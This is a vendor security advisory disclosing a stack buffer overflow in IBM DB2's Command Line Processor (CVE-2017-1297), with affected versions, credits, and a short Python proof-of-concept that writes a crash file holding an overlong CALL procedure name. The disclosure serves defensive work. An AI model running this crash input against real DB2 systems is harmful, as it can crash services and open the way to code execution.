DefenseCode Security Advisory: IBM DB2 Command Line Processor Buffer Overflow

   DefenseCode Security Advisory
    IBM DB2 Command Line Processor Buffer Overflow


Advisory ID: DC-2017-04-002
Advisory Title: IBM DB2 Command Line Processor Buffer Overflow
Advisory URL:
http://www.defensecode.com/advisories/IBM_DB2_Command_Line_Processor_Buffer_Overflow.pdf
Software: IBM DB2
Version: V9.7, V10.1, V10.5 and V11.1 on all platforms
Vendor Status: Vendor Contacted / Fixed (CVE-2017-1297)
Release Date: 26.06.2017
Risk: High


1. General Overview
===================
IBM DB2 for Linux, UNIX and Windows (includes DB2 Connect Server) Command
Line Process (CLP) is vulnerable to a stack based buffer overflow, caused
by improper bounds checking which could allow an attacker to execute
arbitrary code. The vulnerability is triggered by providing an overly
long procedure name inside a CALL statement.


2. Software Overview
===================
DB2 is a database product from IBM. It is a Relational Database Management
System. DB2 is designed to store, analyze and retrieve the data efficiently.
DB2 currently supports Linux, UNIX and Windows platforms.

db2bp is a persistent background process for the DB2 Command Line
Processor,
and it is the process which actually connects to the database.


3. Brief Vulnerability Description
==================================
By providing a specially crafted command file to the db2 CLP utility, it is
possible to cause a buffer overflow and possibly hijack the execution flow
of the program. Crafted file contains a CALL statement with an overly long
procedure parameter.

3.1 Proof of Concept

The following python script will generate a proof of concept .sql crash
test
file that can be used to verify the vulnerability:

-------
#!/usr/bin/python

load_overflow = 'A' * 1000
statement = "CALL " + load_overflow + ";"

crash_file = open("crash.sql", "w")
crash_file.write(statement)
crash_file.close()
-------

PoC usage: db2 -f crash.sql


4. Credits
==========
Vulnerability discovered by Leon Juranic, further analysis by Bosko
Stankovic.


5. About DefenseCode
================================
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